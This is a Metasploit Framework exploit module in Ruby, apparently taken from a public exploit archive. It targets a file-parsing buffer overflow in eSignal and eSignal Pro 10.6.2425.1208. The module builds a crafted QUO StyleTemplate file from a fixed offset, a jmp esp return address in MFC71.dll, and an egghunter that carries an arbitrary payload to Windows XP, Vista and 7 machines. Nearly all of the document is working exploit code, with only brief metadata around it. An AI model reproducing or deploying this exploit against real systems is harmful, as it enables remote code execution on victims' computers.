eSignal and eSignal Pro 10.6.2425.1208 – File Parsing Buffer Overflow in QUO (Metasploit)
## # $Id: esignal_styletemplate_bof.rb 13765 2011-09-20 17:39:53Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO', 'Description' => %q{ The software is unable to handle the "<StyleTemplate>" files (even those original included in the program) like those with the registered extensions QUO, SUM and POR. Successful exploitation of this vulnerability may take up to several seconds due to the use of egghunter. Also, DEP bypass is unlikely due to the limited space for payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Original discovery 'TecR0c <tecr0c[at]tecninja.net>', # msf 'mr_me <steventhomasseeley[at]gmai.com>', # msf ], 'Version' => '$Revision: 13765 $', 'References' => [ #[ 'CVE', '?' ], #[ 'OSVDB', '?' ], [ 'BID', '49600' ], [ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ], [ 'URL', 'http://www.exploit-db.com/exploits/17837/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00" }, 'Targets' => [ [ 'Win XP SP3 / Windows Vista / Windows 7', { 'Ret' => 0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208 'Offset' => 54 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sep 06 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']), ], self.class) end def exploit eggoptions = { :checksum => false, :eggtag => 'eggz' } hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) buffer = rand_text_alpha(target['Offset']) buffer << [target.ret].pack('V') buffer << rand_text_alpha_upper(4) buffer << hunter buffer << rand_text_alpha_upper(1500) buffer << egg file = "<StyleTemplate>\r\n" file << "#{buffer}\r\n" file << "</StyleTemplate>\r\n" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(file) end end |